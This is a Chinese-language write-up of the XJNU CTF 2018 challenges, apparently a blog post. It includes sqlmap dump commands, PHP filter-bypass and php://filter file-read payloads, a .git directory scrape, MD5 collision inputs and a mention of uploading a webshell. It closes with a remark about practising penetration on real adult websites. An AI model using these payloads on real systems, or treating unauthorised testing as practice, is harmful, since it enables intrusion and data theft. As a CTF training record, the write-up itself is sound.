XJNU CTF 2018

@Time:2018/9/19

记一次对我这个新手来说,较为简单的CTF

WEB

web10

访问 http://ctf.xjnu.edu.cn:9900/web10/ 

暗示使用sqlmap,没办法,跑呗

XJNU CTF 2018_第1张图片

参数也给上了。

sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 --current-db --batch

XJNU CTF 2018_第2张图片

一跑就出来了,database()=web1

sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 -D web1 --tables --batch

XJNU CTF 2018_第3张图片

table=flag

sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 -D web1 -T flag --columns --batch

XJNU CTF 2018_第4张图片

column=flag

sqlmap -u http://ctf.xjnu.edu.cn:9900/web10/?id=1 -D web1 -T flag -C "flag" --dump --batch

XJNU CTF 2018_第5张图片

get flag!   flag{Test_y0u_sql_Inject!}

web20

http://ctf.xjnu.edu.cn:9900/web20/

XJNU CTF 2018_第6张图片

显示没有登录,那肯定就是要我登录咯,看看cookie

显而易见,设置一个login=1

XJNU CTF 2018_第7张图片

IOS 999?有这牌子吗,,看情况就是UA的问题了,网上找一个

XJNU CTF 2018_第8张图片

再看请求头

web30

shell下的编辑器,那很容易就想到是vi,vi泄露就是那几种,swp,~,swo,果然,访问

http://ctf.xjnu.edu.cn:9900/web30/index.php.swo

XJNU CTF 2018_第9张图片

好吧,审计吧,

XJNU CTF 2018_第10张图片

get一个  ctf=!#?&@  然而没有反应,是这个”&“的锅,因为在url里面这“&”是连接的作用,所有无法get到 !#?&@,url加密一下

XJNU CTF 2018_第11张图片

接下来是get一个password,第一需要匹配数字或者字母,也就是不能出现符号,第二就是需要含有 ‘--’ ,自相矛盾了??

这就得看漏洞了,strpos的漏洞,两种方法绕过,第一就是数组绕过 password[]=666  ,第二就是 %00 截断

XJNU CTF 2018_第12张图片

没有报错,证明是可以的了,继续

我卡死在这里贼久,以为上传array就行了,我就写了个xjnu=array("bar1"=>"a","bar2"=>"b"),后来又是变换各种形式,转url啊,换数组的形式啊,都是于事无补,最后发现问题,就是传上去的其实都是字符,没法解析成数组,所以就改了方式,

xjnu[]=bar1

这样就能够传输数组了,接着,如下图,第一句是要求 xjnu[bar1]不是数字,下面那串,在这里没用,

XJNU CTF 2018_第13张图片

构造xjnu[bar1]=a

下面这一第一句,就是要bar2的长度等于3,而且,bar2[0]也是一个数组,

第二句foreach,过滤了2018,但是又要匹配2018,那就用2017.9999999999999999来绕过

XJNU CTF 2018_第14张图片

最后得到payload

?ctf=!%23%3f%26%40&password=9%00--&xjnu[bar1]=a&xjnu[bar2][0][]=a&xjnu[bar2][0][]=b&xjnu[bar2][]=2017.99999999999999999999&xjnu[bar2][]=a

XJNU CTF 2018_第15张图片

web40

http://ctf.xjnu.edu.cn:9900/web40/

XJNU CTF 2018_第16张图片

信息泄露哈哈哈

.git一波,下载了个Githack,直接down

XJNU CTF 2018_第17张图片

 

web80

http://ctf.xjnu.edu.cn:9900/web80/

XJNU CTF 2018_第18张图片

又是一个git

但是这里却没有任何东西

XJNU CTF 2018_第19张图片

用wget抓取一下整个.git

wget -c -r -np -k -L -p http://ctf.xjnu.edu.cn:9900/web80/.git/

XJNU CTF 2018_第20张图片

XJNU CTF 2018_第21张图片

查看一下git日志, git log -p  发现了一个链接

XJNU CTF 2018_第22张图片

访问  http://ctf.xjnu.edu.cn:9900/web80/flag_Revenge_2333333.php

XJNU CTF 2018_第23张图片是个md5强碰撞,不过现在的md5碰撞实现也不难了,之前也遇到过挺多次,但是这次是居然没有成功,,试过了很多个数据,也用过生成工具,就是弄不出来,最后看到了一位大佬以前的wp  https://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html

得到下面这两个

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

XJNU CTF 2018_第24张图片

web100

http://ctf.xjnu.edu.cn:666

访问得到下面,一个文件上传,貌似还可以读取文件

XJNU CTF 2018_第25张图片

文件读取 payload:  ?file=php://filter/read=convert.base64-encode/resource=upload.php

XJNU CTF 2018_第26张图片

base64解码得到:

XJNU CTF 2018_第27张图片

白名单过滤,把我已知的所有上传绕过姿势全部都试过了一遍,.htaccess,00,都是无法绕过,后来想着用伪协议,由于禁用phar,于是使用了一次zip伪协议,然而还是没有成功。

之后偶然发现,上传到upload下的所有图片都会按照php解析,

XJNU CTF 2018_第28张图片

于是,上传一个马,直接getshell,

XJNU CTF 2018_第29张图片

BASE

base10

http://ctf.xjnu.edu.cn:9900/base1/base1.html

这张图反过来看就是一串数字,缺了87

XJNU CTF 2018_第30张图片

再看源代码

md5(num)[:5],那这个num就是87,找个md5网站,md5加密,然后取前五个

XJNU CTF 2018_第31张图片

所以flag:

flag{Math_is_Here_c7e12!}

base20

XJNU CTF 2018_第32张图片

笨方法,一个一个套进去

base30

XJNU CTF 2018_第33张图片

等差数列,写个脚本就好

XJNU CTF 2018_第34张图片

flag{233333333166666668}

base40

666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d

一串十六进制,第一反应想到的当然是转字符串啊!

直接上脚本

r = '666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d'

x = ''

for i in range(0,74,2):

    x += chr(int('0x'+r[i:i+2],16))

print(x)

flag{Just_t3st_h4v3_f4n_hahaha_6666!}

base50

XJNU CTF 2018_第35张图片

玩烂了的套路,就直接上脚本好了

XJNU CTF 2018_第36张图片

flag{xjnu66seck88ctf}

MISC

misc10

这题是真的很懵,关注微博,以为要我自己去找flag,最后没办法,直接私信,没想到有个自动回复

XJNU CTF 2018_第37张图片

misc15

一张图片,直接用UE打开,

XJNU CTF 2018_第38张图片

misc20

一张图片,UE分析一下,查找一下FF D9,

XJNU CTF 2018_第39张图片

可能是有两张图片,foremost分离看看,得到flag

misc30

这道题是真的皮!!!

老套路,用UE打开图片,jpg图片以ff d8开头,以ff d9结尾,发现在ff d9之后,有一段看不懂的字符,猜测这就是线索
XJNU CTF 2018_第40张图片

以为又是什么转进制啥的,忙活了半天没有发现线索,先把那串16进制都拷下来,各自都加上了\x,这样就可以直接print出来他的字符(这也是这次学到的hh),发现与UE上面的没什么出入

XJNU CTF 2018_第41张图片

最后在网上发现一篇文章,是讲编码导致乱码的,于是乎,decode,试了几种编码,还是utf8管用

XJNU CTF 2018_第42张图片

马克思主义基本原理概论???李时珍的皮

这我就没办法了,版本没跟我讲umm

misc40

这道题,说实话,就看你知不知道word文档就是一个压缩包了,改后缀为zip,解压

XJNU CTF 2018_第43张图片

misc50

一张图片,上神器stegsolve,data extract一下

XJNU CTF 2018_第44张图片

misc80

老套路,一张图片,是个二维码,但是一扫,发现,,

只能寻找其他的线索了,Ue打开一看,发现了一串数字

XJNU CTF 2018_第45张图片

看样子应该是破解这串数字了,这里有两点,第一,都是小于8的数,第二,每三个数似乎是一个可以转成字符的集体,于是写脚本

code = "146154141147173110141166145137171060125137120171137163143162151160164137117164143137124157137124145156137101163143151151041175"
a = ''
for i in range(0,len(code),3):
    try:
        a += chr(int(code[i:i+3],8))
    except:
        pass
print(a)

这个过程看似很简单,,我还是走了好多的弯路,脑洞脑洞,玩不起玩不起

Crypto

Crypto30

XJNU CTF 2018_第46张图片

点进去居然是个登录,@_@

源代码发现一些线索

把图片 3.jpg 下载下来之后发现了

那么现在,我们得到了三串数字,一切明朗了,是个RSA

m = 58768105316148841999777370412186936018625486668532134194761549884510599390592

e = 3

n = 87924348264132406875276140514499937145050893665602592992418171647042491658461

通过一个很牛叉的网站    http://factordb.com   分解出了 p和q

XJNU CTF 2018_第47张图片

p = 275127860351348928173285174381581152299

q = 319576316814478949870590164193048041239

写一句python,可以算出(p-1)*(q-1)  :  print((p-1)*(q-1))  也就是 φ(n)

φ(n) = 87924348264132406875276140514499937144456189488436765114374296308467862464924

接下来利用RSAtools得到d

XJNU CTF 2018_第48张图片

d = 58616232176088271250184093676333291429637459658957843409582864205645241643283

然后就可以计算密文 c 了

print(pow(m,d,n))

c = 38321129010640640909392952790092312686738804185583229

一串数字? 那就变成字符串把,

先变成16进制   print(hex(c))   c = 666c61677b525f535353415f31735f53305f66554e7d(16)

上神器 converter 

XJNU CTF 2018_第49张图片

Reverse

reverse50

baby.exe,先拿ida分析一下,发现了这些东西

XJNU CTF 2018_第50张图片

按 r 转成字符串,就拿到flag。。。

XJNU CTF 2018_第51张图片

 

ummmm,写到最后还是有两道web没有写出来,一道post注入,黑名单也过滤的太多了吧,在这里还是学到了一个with rollup

虽然还是没有写出来ummm,因为group by中的by也在黑名单一列,,我实在太菜,,后面一道whois,说实话,我是真的菜,看不懂ummm,

misc30太骚,我也就不说话了,,

pwn,哈哈哈,不是pwn选手,无从下手

就这样了,总结一句话,我是真的菜,不说了不说了,再去练两年dvwa吧

不过对刚刚队友给我的两个小黄网更感兴趣,毕竟真正的渗透实战我是真的缺乏,撸完再见![\滑稽]

 

 

 

 

 

 

 

你可能感兴趣的:(CTF-wp)